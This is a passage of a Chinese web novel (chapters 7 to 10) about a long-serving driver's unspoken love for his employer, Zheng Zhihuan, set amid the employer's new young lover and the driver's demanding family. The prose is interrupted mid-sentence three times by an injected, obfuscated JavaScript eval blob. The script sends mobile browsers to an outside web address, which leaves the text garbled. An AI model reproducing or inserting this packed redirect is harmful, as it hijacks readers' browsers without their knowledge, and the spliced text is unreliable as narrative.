《停滞时光的人》 7. 第 7 章 他已经忘记了最开始接触到郑先生时的很多事情，也不知道是从哪一天开始，他会格外留心郑先生的一举一动，会观察他的生活习惯，会记下他爱吃的东西。直到后来，义无反顾跟他走，去奔赴未知。 那年冬天是真的很冷，还下着雨，他说要跟郑祉桓走，郑祉桓只是意义不明的看了他一会儿，最后就真的带上了他。在那些难熬的岁月里，他始终觉得自己青涩，年轻，有足够的时间用在喜欢的人身上。是的，后来他才后知后觉，那是喜欢。 但现在，他年少时的心气都耗光了，仍然是后知后觉，自己会累，会老。而世上，永远不缺年轻的人。 他一直都比郑先生起得早，以前他会早早起来做饭，打扫，准备他的会议材料，还要检查车子。现在虽然很多事不用他了，他也还保持着这个习惯。他起来到客厅里把东西归类放好，想来家政阿姨也只负责打扫卫生，不负责给他放东西吧。 做了早饭又放好东西，郑祉桓才起床，他难得双休，没什么事，靠在二楼的栏杆上，看底下乔施珩忙忙碌碌。乔施珩偶然间发现郑祉桓在二楼看他，不知道看了多久，他有点心虚：“先生，我吵到你了吗？” 郑祉桓说没有，随后他下楼来。 乔施珩就去厨房洗手，顺便把饭菜端出来，他说：“我早上看这里东西不多，就网上下单送了点过来，不过没有送很多。” 郑祉桓坐下来，看着清粥小菜还有馒头包子，问他：“你做得？” “嗯，你不是说外卖不健康，所以是送得食材，不是外卖。”乔施珩跟着坐下：“就是包子是叫得，因为这个做起来要时间。” 吃完饭，乔施珩又去卧室收拾，把他的被子全都换掉拿去院子里晒，还特意找了根绳子拉起来，又把床单被罩全都扔进洗衣机，忙得脚不沾地，仿佛他真的是这家的主人。 其实，只要有钱，可以请很专业的人来干。但郑祉桓懒得管，而乔施珩这个土包子又不懂有钱人的生活，他兢兢业业，做着他自己认为自己能够做到的事情。 他在这里半天，整个家焕然一新。 中午他在厨房里做饭，郑祉桓蹭了进来，他在他的后面看了半天，问：“做什么？” “黄瓜凉拌牛肉。” 郑祉桓盯着他脖颈看了半天，终于说：“过来明院住吧。” 乔施珩顿了顿，接着又继续拌起来，他拒绝：“算了先生，那样会打扰你的。”他可不想天天看着郑祉桓在他面前跟别的男男女女有不正当的关系，他觉得刺眼，也刺心，他都这样卑微了，不想再更卑微了。 郑祉桓却说：“你来回跑也不方便，我这里也缺个人。”他说完，见乔施珩没有立即回答，还是在专心做他的饭。 而乔施珩却在想，怎么拒绝才能不惹他生气，如果再这么生硬地拒绝，郑先生一定会生气，他对自己，向来没什么耐心。最后，他只好温吞吞地说：“我每周都会来帮先生收拾的，平常让家政阿姨打扫一下卫生就好。如果先生周末没事，我就在这里帮先生做饭，好吗？” 郑祉桓几乎是瞬间就冷了脸色，他冷哼一声：“你是什么五星级大厨吗？我没了你不行？”他低沉地下逐客令：“出去。” 果然是这样。 乔施珩想解释：“那个先生，我不是......” 郑祉桓扯着他的手臂将他扯出厨房：“出去！” 乔施珩连防晒外套也没来得及拿，他走过院子，看着自己洗得这些东西，后知后觉郑先生也不会把它们收起来，只好打电话给家政阿姨，拜托她晚些过来收拾。郑祉桓会轻易对他发脾气，但不会对不熟悉的家政阿姨发脾气，他知道的。 他没有开车走，而是慢吞吞走出这片别墅区，打个车回宿舍去。 路上接到乔施文的电话，她大概是酒醒了，絮絮叨叨：“哥，你怎么早没说郑先生长这么帅啊？这么帅的人有女朋友没？结婚了没？” “没。”乔施珩想了想又说：“不过他不缺人的。” “没有就好。”乔施文像是没有听到他的后半句，又嚷嚷：“哎呀哥，你可听到了，郑先生说我有心仪的工作他会给安排的。这样我就放心了。” 乔施珩叮嘱她：“你要好好干才行，不能每天去班上什么事都不干，这样别人会对你有意见。” “知道了哥，你真啰嗦。” 乔施珩回到宿舍，开了空调，制冷效果不太好，过了很久屋里才有些凉意，他不知道吃什么，就在网上叫个粥，还是喝粥会舒服。下午跟家政阿姨沟通了一下明院的卫生琐事，他就骑着自己的电瓶车回了趟家里。 “你说那么多回，这郑先生都没往家里来一步，这怎么刚见了小文，就跟到家里来了？”太芬琢磨着，又问乔施珩：“郑先生没个对象吧？” 乔施珩简直无语：“你们不要瞎想，郑先生不缺人的。” “你这话说得，咱们小文长得多好，又年轻，跟郑先生差个十来岁也不算什么，人家郑先生肯定也想找年轻的啊。” 乔施珩不知道该怎么反驳了，他想了想，这两年郑先生身边出现的男男女女，确实都很年轻。他不禁又想到自己的年纪，继而觉得无力，但不管怎么样：“你们别这么想，不可能的事情。” “那可不可能，也不是你说了算。”乔施军过来，又把话题扯到他身上：“还有你，你也不看看你多大了，上回要给你介绍的那个女孩子，人家都找着了，你说你，白浪费那么好的机会。” 老旧的吊顶风扇吱呀吱呀转着，乔施珩莫名觉得烦躁，但跟随烦躁而来的，还有深深的无力感。 以前郑先生也会生气，他顺风顺水惯了，不喜欢别人逆着自己的意思来，每次都是乔施珩反过来去哄他，去认错，还要再顺着他的意思去做。因为他们一直在一起，住也住在一起，乔施珩很不喜欢冷战，他几分钟不跟郑先生说话就会难受。 当然，现在不住在一起了，也就没有这个必要了。就当是工作里被老板骂了，第二天还是要去上班的呀。 周一早上他起个大早，坐第一班公交车到近一点的地方再打车过去明院，路上顺带再带个早餐给郑先生。他到明院的时候，郑先生还没出来，他就站在门口等。不多久，他听到开门的动静，首先看到的却不是郑祉桓，而是一双白玉般的手，接着，一个好看的男孩子露面，看起来他还困着，睡眼惺忪。 “你是司机师傅吧？郑先生快出门了，你进来开车吧。” 瞧，郑先生的身边最不缺的就是人。乔施珩虽然已经习惯了，但心里还是好像针扎了一下似的。 郑祉桓上车后就在后座闭幕养神，乔施珩本来还想着道歉，但看起来他好像也没放在心上，可能已经忘记了，还过得很滋润呢，还是不说了吧，他想。 最近郑先生的会议很少，几乎都在金石大楼里办公，这样乔施珩也就不必跟着东奔西跑，然后不知道蹲在哪里熬时间，只是这间办公室里人多，又吵，还有一股浓重的烟味，他不习惯。 于是，他就在金石大楼的员工阅读角呆着，那里僻静，也没什么人去。就算他坐着，躺着，也没人管他。他歪在沙发上看故事书，没多久，就察觉身边有人坐了下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908415|192421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “偷懒？现在是上班时间，为什么躲在这里？” 乔施珩一个激灵坐起来，他以为对方是金石大楼里的哪位领导，对方确实是三四十岁的样子，穿着西装，看起来是个精英人士。他急忙解释：“抱歉，抱歉啊。我是那个，我不算是这里的员工。” 对方却笑了：“我知道，看你两天都在这里。”他伸出手，自我介绍：“盛逸则。” “乔施珩。”乔施珩礼貌性地回握。 “这是我的名片。” 盛逸则递给他一张黑色镶着金边的名片，乔施珩接过来，没细看还以为是哪个银行尊贵的黑金卡。上面确实有四个金色字体——纶潭实业。乔施珩还挺诧异的，这家公司规模很大，这个人竟然是投资板块的负责人呢。 “我...”乔施珩老实地说：“我是郑先生的司机。” 这下轮到对方诧异了：“你是郑先生的司机？”他将乔施珩从头到尾打量了个遍，了然了：“怪不得。” 盛逸则应该挺忙的，电话一直在响，另一边还有人在等他，他不能多留，于是就说：“方便留个联系方式吗？” 乔施珩可没他这么自来熟，犹豫了。当然，他是不想给，又不好意思拒绝。但盛逸则是什么人，他笑了笑：“没事，你要是有需要，可以打我的电话。” 乔施珩点了点头，等盛逸则走后，他随手就把名片放在了桌上。以前也有这样的人要他的联系方式或者给他名片，但他都没答应也没有再和这些人有什么后续发展。当然，其中大部分是因为想通过他攀郑先生的关系。这些年来，他追着郑先生跑，世界里只有郑先生一个人，连一个朋友都没有。 想想也挺惨的。 都三天了，郑先生还是没有搭理他，他们纯粹公事公办，车上连一句多余的话都没讲。期间乔施珩也试着搭话，但郑祉桓根本不理他。 不然，再好好道个歉吧，谁让他又惹郑先生生气了呢。 乔施珩目光落在桌上那瓶花上，他忽然想起来以前给郑先生摘野花的事情。那年他们在西北方一个偏僻的小镇上，也是这样炎热的夏天，郑祉桓生日那天，乔施珩为了布置他们的宿舍，想出去买花，但一个小镇上都找不到一束花，乔施珩就跑去野外找野花，找了一个下午，热得差点中暑。 现在申城到处都是卖花的花店，反而野外很少能找到各种各样的花草了。他想，要不送束花给郑先生？应该也挺浪漫的。他想就在手机商城上下单，送过来只需要一个小时，正好晚上下班，郑先生就会看到。于是，他认真对比，反复挑选，找了好多家才找到了卖茉莉花的。 他把花放在副驾驶的位置，想着送给郑先生。可惜，郑先生坐在车后座一直在打电话，乔施珩都没有机会开口。等到他终于挂掉了电话，乔施珩终于说：“先生...” 郑祉桓打断他：“去海相路三号。” 乔施珩只好拐个弯，拐去海相路三号，那是一家娱乐公司所在地。他莫名想起了那天早上看到的男孩子，确实挺有明星的潜质。他到底没敢多问什么，就连副驾驶的花，也觉得有点说不出口了。 车子停在路边，没多久那个男孩子就跑了过来，他坐进车里就撒娇：“先生，你都三天没理我了，我还以为你不要我了呢。”他不比郑祉桓，看到当没看到，直接就伸手把副驾驶上的花拿了过去：“哇，是送我的吗？” 郑祉桓没开口，乔施珩替他识趣：‘对，是，送你的。’ “啊，好喜欢，谢谢先生。” 乔施珩没敢往后视镜看，他心疼自己的三百七十八块钱。 8. 第 8 章 这个男孩子叫做林木，是宜成娱乐的练习生，目前还没有出道，网络上也没有很多粉丝，他的最新一条微博就是在展示收到这束茉莉花，还配了个很大的爱心。乔施珩坐在车里，看着身后明院的灯火，想到那天早上最先看到的那双手，他想，大概率今晚他不用在半夜被差遣起来，送人回去了。 他这么想着，就把车开回金石滩宿舍楼了。 才走到楼梯口，住在靠楼梯口那间宿舍的门就忽然打开了，里面出来个捂着肚子看起来比较痛苦的女孩子，她一手提着包，一手打着电话，骂骂咧咧的，迎面撞上乔施珩，她抬眼看，像是看到了救星，忙挂断电话跟他说：“乔师傅，能不能麻烦你送我去下医院啊？我打车这司机等了他好几分钟，他说来不了了。” “你不舒服吗？”乔施珩扶着她，看她满头大汗：“我肚子超疼，估计是肠胃炎，但吃药也不管用。” “好，我送你去医院。”乔施珩扶着她下楼，就听她咬牙切齿：“我指定投诉那司机，嫌我们金石滩宿舍楼远，你说这申城怎么还有这种人。” 她很痛，但也不妨碍她骂骂咧咧，乔施珩觉得好笑：“没事，我送你去。” “哎呦，这车，这不是郑先生的车吗？这我哪里敢坐。”她摆手：“我有车，我有车。”她从包里摸出车钥匙给乔施珩：“开我的，我还想多活几年，坐不得郑先生的车。” 乔施珩觉得她好有意思：“你也是金石大楼的员工吗？” “那当然，我是宣传部的。去年，我打败全国三千多人进到这里的，厉害吧？” “很厉害了。”乔施珩由衷赞扬：“很厉害。” “完了，我不会是阑尾炎吧？都怪我晚饭吃辣了。”她又后知后觉自我介绍：“我叫杜慧慧。”不等乔施珩也介绍呢，她又说：“我知道乔师傅你，我们女员工里都传遍了呢。” “啊...”乔施珩不知道她们都传了什么。 “说你好看哈哈哈，说你这么好看的人怎么会是司机。”她捂着肚子又坐起来靠近驾驶座，问乔施珩：“乔师傅你知道网红吗？你这长相你随便发条视频，保证就有娱乐公司来签你。” “哪有那么夸张。”乔施珩好笑：“我都三十来岁了，出道也晚了。” “什么？你都三十来岁了啊？”她震惊：“我们猜你顶多二十五！” “.....”乔施珩无语：“差得也太多了吧。” “那你这么好看，一定英年早婚了吧？为了养家糊口，才给我们大魔王开车的吧？” “没有。”乔施珩这次没说自己已经给郑先生开了十来年车这回事了，他想，以后大概也不会再提。 到了医院急诊，杜慧慧果然是阑尾炎，且已经是第二次发作，必须要安排手术。 “我闺蜜，我姐，我妈都在申城，她们马上就到了，乔师傅你回去吧，这么晚了，明天还要上班呢，我请假就好了。”她又想到：“乔师傅你帮我把车开回去哦，因为我姐有车，我好了她会送我回去的。” 乔施珩点头：“等你妈妈到了我就走。” 结果，话说完没多久，就接到了郑先生的电话，对方言简意赅，要他过去一趟。乔施珩看看了时间，都十二点多了，也不嫌折腾。好在，这会儿杜慧慧的妈妈和姐姐也都来了，他就开着杜慧慧的车过去了。 他没有明院的钥匙，按了半天的门铃也没有人来开门。天空还飘起了雨花，他只好又按了几遍，这回却是郑先生亲自过来开门。乔施珩心想，到底是年轻，受宠。 郑先生果然第一眼就看到了他身后粉色的车，他蹙眉：“谁的车？” “是金石大楼同事的，她生病了我送她去医院，顺便就开过来了。”乔施珩解释：“如果再回去开车，时间会比较久。” 郑祉桓收回目光：“你倒是善良。” 乔施珩跟着他进屋，林木没有他想象中的状态，他还以为是林木哭着喊着不走，要他进来把人弄走呢。原来林木没有哭也没有喊，他穿着大号的白衬衫，光着两条修车的腿，正利用沙发下腰。 所以，这么和谐的话，还喊他来干嘛呢？总不会是要他见证一下他们的和谐吧？ “司机师傅！”看到他，林木收了动作跑过去：“郑先生说他要吃宵夜的话都是你做得？我不相信，你还会做宵夜呢？” 乔施珩不高兴，但不敢表现，不过他一直都是温吞吞的，就算生气了，不高兴了，也不明显。只是，就因为他们两个聊到这里，就把他叫过来核实吗？ “嗯，会做一点。”他余光看到郑先生在沙发上坐下，拿着遥控器，好像在找电影。 “那你做一下给我尝尝，到底好不好吃。”林木领着他去厨房：“我看冰箱里有点东西，但不多，够不够司机师傅你大显身手啊？” 乔施珩当然知道冰箱里有什么，但都放了好几天了。只是：“我姓乔，你可以叫我乔师傅。”憋了一肚子气，也只敢说自己姓乔。 他利用冰箱里还剩的一盒豆腐，几个鸡蛋，一罐午餐肉，做了个豆腐鸡蛋羹，很浓稠，清香，味道也淡。给他们端上桌后，他看了看时间，已经一点多了。 “嗯，确实好吃唉，有种饭店里的味道。”林木夸赞。 “先生，要是没事的话我就先回去了，早上还要过来接您上班呢。”他想，他已经没几个小时能睡了。 出了门，他才发现雨下得很大。算了，再大的雨，也大不过他心里的雨。 这场大雨断断续续下了好几天，雨势之大连新闻都每天预报，每天提醒。等到再上班，员工阅读角不开放了，因为那连日的大雨，把窗户那边的墙壁都弄湿了，他们说要维修。 没办法，乔施珩又回到了那间办公室。虽然大楼里规定不可以抽烟，但这间办公室似乎是个例外。 他呆了一天，觉得自己就是个行走的香烟。 果然，郑先生在车上就问他：“什么时候学会的抽烟？” 乔施珩觉得冤枉：“不是我抽的，他们抽的，把我染上味道了。” 其实，以前乔施珩是有单独房间的。不管到哪里，哪怕郑先生话语权没有那么大，他都会安排人为他单独准备休息室，这样他在楼上办公，乔施珩就在楼下休息室里玩。 现在，郑先生已经忘记了。甚至还以为他学会了抽烟，乔施珩真的心里五味杂陈。 但令他意外的是，第二天他就被赵秘书领着，到了自己的单独休息室里。他挺诧异：“是我的休息室吗？” “是的。”赵秘书还是那么一丝不苟：“郑先生安排的。” “谢谢。” 于是，乔施珩就这样又有了自己的专属休息室。但大概是因为怕自己总是带着烟味会影响到郑先生吧，不然为什么现在才安排，他已经在这里工作一段时间了呢。 反正，再回不到从前了。 午饭的时候碰到杜慧慧，杜慧慧说要感谢他，请他吃饭，乔施珩婉拒了。杜慧慧就神秘兮兮问他：“你有对象没有？你看我姐怎么样？” 乔施珩回忆了那天晚上见到的她的妈妈和姐姐，但没什么印象了。 “我姐跟你年纪差不多，她说你帅呢，对你有意思，让我介绍你们认识。”杜慧慧拍胸脯保证：“我姐超级好的，她事业有成，有房有车，乔师傅你什么都不用考虑的，我姐也不会看轻你，她是个颜控。” “不了吧，我有喜欢的人了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908416|192421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“啊！”杜慧慧失望：“怎么这样啊？不过也是，别说你有喜欢的人了，喜欢你的肯定也不在少数。” 两人顺着花园转了一圈，快到午休时间，杜慧慧便回去午休了。 到休息室里，乔施珩接到了乔施文的电话：“哥，郑先生忙什么呢？我给他发信息也不回我。” 听着她的抱怨，乔施珩不解：“你有事要找先生吗？” “我没事就不能找他吗？”乔施文又问：“他什么时候有空啊？哥，我还想请他吃顿饭。” 再来一个三万乔施珩可受不了。他忙说：“郑先生很忙的，这样，你有事的话跟我说好了，我会转达的。” “哎呀跟你说什么说啊。”乔施文发脾气，直接挂断了电话。 但不管她再怎么发脾气，乔施珩也觉得她不好真的去打扰郑先生。于是就给她发信息，叮嘱她好好工作之类的。 晚上送郑先生回去，乔施珩还是问他：“先生，小文打扰你了吗？” 郑祉桓漫不经心应了一声，又说：“没事。” 乔施珩知道他的脾气，是真的觉得小文打扰到他了，于是就说：“小文要是有不好的地方，我替她道歉。” 郑祉桓抬眼看他：“那你可要管好了她。” 乔施珩不明白乔施文到底想做什么，明明都答应给她安排工作了。于是他抽了个没事的晚上，回了趟家。 隔着老旧的门板，他就听到乔施文在炫耀：“我们那个主任，大气都不敢喘，我就说不是我原因，爱谁的原因谁的原因，最后不了了之了。我跟你们说，她们都怕我，搞得我好像才是领导。” 乔施珩听不下去，他推开门进去，他们一家子正在吃饭，乔施文嘴里的鱼才吃了一半，见到他挺惊讶的。太芬忙问他：“阿珩，你吃了没有？我给你拿双筷子。” “不用了大嫂，我吃过了来的。”他往一边的沙发上一坐：“你们吃你们的。” 他气压低，大家都能感觉到。太芬接着乔施文的话说：“你虽然是靠着关系进去的，但也不能盛气凌人，该做的事要做，不然会连累郑先生的。” “那有什么，他们也很多靠关系进去的，他们没有我关系硬，那他们有什么好说的。” 乔施军也附和：“要是照你这么说，大家都是关系户，就属你关系硬，那也没什么。反正欺负不到你头上，那些破事就那没关系的才做。” “什么是破事？”乔施珩无奈：“那是工作，那不是破事！” 太芬也不赞成乔施军的话：“你说什么呢，要按你这样说，那大家都别干了，你真是会说话。” “乔施文，别吃了，你跟我来。”乔施珩将她叫出来，叫到院子外面。 “干什么啊哥，吃一半呢。” “你看看你现在，你说得什么话，你那工作给你找好了你就好好干，你一天天的想什么呢？你找郑先生还有什么事？你说。” “我...”乔施文很少看到他黑脸发脾气，一时也有点心虚，就解释：“我也是有不懂的地方想问他，才给他发消息的。那工作，我也有好好干啊，谁没有好好干了？” 乔施珩心放了下来：“你的工作郑先生懂得也不多，你问他也未必会有什么答案，你多问问身边的同事，领导，比问他要好。以后少给他发消息，他特别忙。” “他忙什么啊？一天天就回消息的时间都没有吗？”乔施文抱怨：“就算没有空也要回一下啊，不然多没礼貌。” “行了，我再跟你说一遍，工作要干，脚踏实地，这是机会。你别以为是去喝茶的，端正你的态度。” “知道了知道了，啰嗦死了。”乔施文转身往屋里去：“饭没吃完呢。” 9. 第 9 章 这个月的工资比平时多了四万，乔施珩以为自己是眼花了。他盯着那串数字数了半天，确认不是自己眼花，确实是多了。先生给他多发了这么多钱，是因为那顿饭吗？ 他在老旧的木床板上翻来翻去，睡不着。 最开始他被粉红哥介绍给郑先生开车的时候只有二十岁，才拿到驾照没多久。他低着头，拽着自己破旧的T恤衫，盯着自己怎么也刷不白的鞋子，很紧张。 粉红哥掐掉手里的烟，拍了拍他的背：“没事儿，之前是三叔开得车，他年纪大了身体不好开不了车了，就心说找个人顶一下，你别紧张啊，瞧你一张脸煞白。” “可我还不熟悉呢。”他实话实说：“要是开不好，出事了怎么办？” “呸呸呸，你这个乌鸦嘴，我看你开还不错，你就放心大胆开！三叔给那家人开了半辈子车，看他面子人家也不会为难你，你就放心吧。”粉红哥摸了把他的鸡冠头，领着他往楼里去，边走边数落他：“再说了，你不干这个，还能干什么？去给人剪头发被人骚扰，还是去端盘子被客人占便宜？你那个脾气也要收一收，人家理发店老板摸你两下怎么了？摸你两下能少块肉？” “不是两下...”乔施珩嗫嚅，想反驳他，那根本就不是摸两下，是... “你给人家上菜，递筷子，拿酒杯，人家看你好看，摸两下你手也不行，你说说你，就是娇气！”粉红哥进了大楼，叮嘱他：“回头看到人家老板，你可有点数，别碰你一下就跳脚，听着没？” 乔施珩蜗牛似得点头，跟着粉红哥走到前台，又被人领着上了楼。三叔生病了，在医院住院，粉红哥带着他来见新老板，他即将要成为一名司机了，可他都没有经验，人家会要他吗？ “两位，里面请。”女秘书领着他们进到一间办公室。 乔施珩第一眼看到坐在红木办公桌后面的郑祉桓，都没有以为他会是老板。他看着很年轻，好像电视上的电影明星，五官锋利，是极具攻击力的长相，抬眼看人的时候，总让人感觉有股杀气似得。可这样的一个人，却穿着与他年纪不符的夹克，使得他那股锋利感钝了很多，多了些沉稳。 “郑先生，我跟您通过的电话的，我是王三粉。”粉红哥点头哈腰的上前：“您也知道的，三叔他生病住院了，他说您这里离不了人，正好他有个远房表亲会开车，能顶他，就托我把人给您来了。您看看，合适的话，他以后就负责给您开车！” 乔施珩没敢抬头，他此刻，只能听到自己心跳的声音。 桌后的郑祉桓目光一直落在乔施珩身上，就连跟王三粉说话，目光也没离开他：“情况我明白。只是他看起来年纪不大，成年了吗？” “成年了成年了。”王三粉保证：“都满二十了，就是这孩子看着显小，已经出来工作有一两年了呢，有经验的。” 其实按照周岁算，乔施珩那会儿才十九。 郑祉桓点点头，又问王三粉：“该交代的，三叔都交代了吗？” “交代了，都交代了。这孩子老实，没什么心眼，绝对守本分，这点我可以保证。”王三粉这才想起来将乔施珩拉到身边：“你这孩子，快跟老板问好啊。” 乔施珩一抬眼，就刚好对上那双狭长显得阴郁的眼眸，好像是一双狼的眼睛，他吓得又低下头，结结巴巴地，好像是说了老板好，也可能说得是先生好。 他忘记了。 郑祉桓身体前倾，下巴搭在双手上，饶有兴趣：“这么紧张可不行，到时候刹车和油门都踩错，怎么办？” “不会的，这孩子认生，熟悉一下就好了。”王三粉真恨这乔施珩是个木头，赶紧戳戳他，示意他说点什么，但乔施珩哪里会说话，他只觉得自己脸热，脖子热，连耳朵也发烫。 “那明天早上过来上班吧。”郑祉桓坐了回去：“一天时间，够缓解紧张了吧？” “够了够了，那就这么定了，郑先生，明天早上他准时过来。”王三粉也如蒙大赦，赶紧拉着乔施珩走了。 出了大楼，王三粉就拍他头：“你说说你，木头一个，害得我也跟着出一身汗。” 乔施珩揪着裤腿：“他看起来也不大呢。” “你能跟人比？人家是什么出身？那根正苗红，研究生毕业就进单位，一年后连拔两级，前途大好呢。你要是跟着这样的老板，你还愁饭吃吗？你哥也不愁钱看病。工资起步都好几千块钱，你得剪多少头发，端多少盘子。”王三粉接着数落他：“你就是太老实，你去给你哥要医药费时那劲头去哪里了？见人家老板，一句好话不会说。” 粉红哥最早带着他出村打工，当时和平三村那一大片都还没有开发，他们村还只是个村子。后来这些年里，粉红哥找到了真爱，跟着老婆定居了别的城市，几乎没再回来过了。而三叔，也早就已经去世了。 当时乔施珩在大西北，距离申城十万八千里，根本没条件回来。只能找个地儿，给他老人家烧了些纸钱。那会儿郑先生也跟他一起，往盆里放纸钱。 他们村一起出去务工的那些年轻人，很多都去了南方，留在申城的不多。而村里好些人家也都搬去了城里，把房子租给了外来务工者，所以后来乔施珩回家，一路上一个熟悉面孔都没有看见。 十来年，足够物是人非了。 本来乔施珩打算送郑先生上班的路上跟他道谢，钱打进了他的卡里，他总不至于取出来还给人家，那多显得矫情，他只好收下，再道个谢吧。因为除了干巴巴的道谢，乔施珩想不到还能做些什么，买些礼品给郑先生的话，太寒酸的也拿不出手。 他胡思乱想，上车的却是林木，郑先生后坐进来。 所以，想再多，乔施珩也不好开口了。 “乔师傅，你这么年轻，难道要开一辈子车吗？”林木问他：“你没想过尝试别的工作吗？” 郑祉桓及时开口：“怎么？把我的司机赶走，你要做我的司机？” “那当然不是啦，我可不是这个意思。”林木往郑祉桓身边靠了靠：“我就是随口问问，问问也不行吗？” 乔施珩不知道怎么回答，他似乎也没有别的生活技能。 先把林木送下车，他们继续往金石大楼去。乔施珩左思右想，还是说：“先生这个月的工资我收到了，多了很多呢。” “嫌钱多？” “不是，就是很谢谢先生。” “你的工资，也应该为自己攒点。” 乔施珩有点尴尬，他没钱的事情，看来真的很容易看出来。“小文之后工作了就会好点了，主要还是帮衬我哥和我嫂子，他们身体都不好。” 他不提乔施文，郑祉桓大概没有想起来。他提到了，郑祉桓就说：“我说让你管好你妹妹的事情，你要放在心上。” “嗯，我会的。”乔施珩说：“我有数落过她了，她也知道的。” “晚上我有事情，你不用跟着了，车我开走。”郑祉桓顿了顿：“今天不用外出，放你一天假。” “啊...”乔施珩被这突如其来的惊喜砸闷了，半天才反应过来：“好。” 但是出了金石大楼，他就感到茫然了。 迄今为止，他的世界里只有郑祉桓一个人，他人生三分之一还多的时间都在围绕着这个人转。他根本没有自己的生活圈子，也没有自己的朋友。所以，他连放假了要去哪里，应该去哪里，都不知道。 他以前的高中同学，朋友，都已经十来年没有联系，以前偶尔还会聊聊天，后来大家有了各自的圈子，他们又因为距离无法见面，因此就都断了联系。 在手机里看了半天，他看到海洋馆今天门票五折！有点心动。他高中没辍学之前，因为家境不好，什么景点都没有去过。后来辍学后又忙着挣钱，更是没有去过那些娱乐场所。但是一个人去的话，也没意思吧？但是看了看海洋馆的地址，距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908417|192421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离金石商贸区很近，小文在那里上班，中午可以约她出来吃饭。 于是他走着去地铁站，坐地铁到海洋馆，花平时门票一半的钱，进了海洋馆。申城是个旅游大城，就算工作日，这里也人山人海。他挤着人群，观看海洋馆里的动物，在那一片片玻璃海洋中，暗色的灯光下，他看到了自己。仍然穿着一件洗旧了的白T恤，洗旧了的牛仔裤，还有那双好像永远也刷不白的鞋子，跟十来年前站在郑先生楼下，拘谨而又紧张的那个少年，完全重合。 仿佛他从没变过，他一直这样。 从海洋馆出来，他找了个阴凉地儿，给乔施文打电话，乔施文本来说忙，后来听他说就在附近，这才说有空吃饭，就定了她公司楼下一家餐馆。 这里都是高薪白领，他们大多西装革履，女士也是衬衫短裙，每个看起来都很能干，很有能力，学历很高的样子。乔施珩早到，坐在餐厅里等，就听到旁边那桌的女孩子们在议论什么。 “天天趾高气昂的有什么了不起的，就凭她有关系？” “哎天天什么也不干，别说叫她翻译文件了，递个文件这么简单的活也不干。” “可不是，我听我们主任说，反正还剩一个月了，把她这尊大佛送走就行。” “天天穿名牌，化妆，我看也不是来上班的吧？” “......” 这个时候，乔施文终于姗姗来迟，她化着精致的妆，穿着华丽，看到旁边那桌的女孩子们立即皱眉，完了对乔施珩说：“坐这边来。” 乔施珩挪了位置，看她实在太精致，就问：“你天天就穿这样上班？” “那怎么了？我漂亮还能是我的错吗？”乔施文说着嫌弃他：“哥你看看你，你这件衣服都快洗出洞了，你不能买几件新的衣服吗？” 他低头看了看身上的衣服，这件衣服是三年前他和郑先生一起买的，当时郑先生要添置衣服，就一起去了商场。那也是他最后一次买衣服。 “这件衣服还挺贵的呢。” “再贵该换也得换啊。”乔施文无语：“不然下班后我带你去买？” “不用了，我网上买也一样的。”乔施珩想了想，还是说：“你是上班，不是去参加舞会，穿成这样不好，你要穿得大方得体一点，你看别人都穿得很适合上班。” “哥你好烦啊，你要就是来教训我的话，那我可不吃了。” “我不是要教训你，是提醒你，指正你。你刚刚走上社会，你要踏实一些，否则丢得也是郑先生的面子。” “你嫌我丢人是吧？我长成这样，我丢人是吧？”乔施文很不高兴，但也不妨碍她又炫耀：“哥你是不知道我有多少追求者。” 乔施文长得好，不瞎都知道，自然不缺追求者，但不知道是不是追求者太多，把她捧坏了，捧得变了一个人一样。乔施珩不知道该怎么把她纠正回来了。 吃饭的时候乔施文往家族群里发他们吃饭的照片，乔施军就说乔施珩有空的话回家一趟，说有事和他商量。乔施珩就在群里应了下来，反正他今天放假，确实没什么事。 吃完饭临走的时候，乔施珩还是叮嘱她：“你一定要摆正自己的位置，该干活干活，要和同事好好相处。” 乔施文嫌他啰嗦，踩着高跟鞋走了，只留给他一个背影。 乔施珩买单的时候遇到之前旁边那桌的几个女孩子也在买单，其中一个就问：“你跟乔施文什么关系啊？” “哦，我是她哥。” “你是她哥啊。”几个女孩子意味深长。 “嗯，要是小文有做得不好的地方，还请你们多多包容。”乔施珩不傻，从这几个女孩子的话音以及乔施文对她们的态度来看，八成她们几个是乔施文处不到一起去的同事。 “那我们可不敢，不过你还挺好的哈。”几个人嘻嘻哈哈，最后还有个说他好看，想加他微信，硬是被另外几个给拉走了。 10. 第 10 章 实在没什么事干，乔施珩就早早回了家。乔施军出去打麻将了，太芬搬了个电风扇，坐在院子里折纸箱。乔施珩就搬了个凳子坐到她旁边，帮她一起弄。 “今天怎么放假了？” “郑先生有事，不用我开车，我就放假了。” 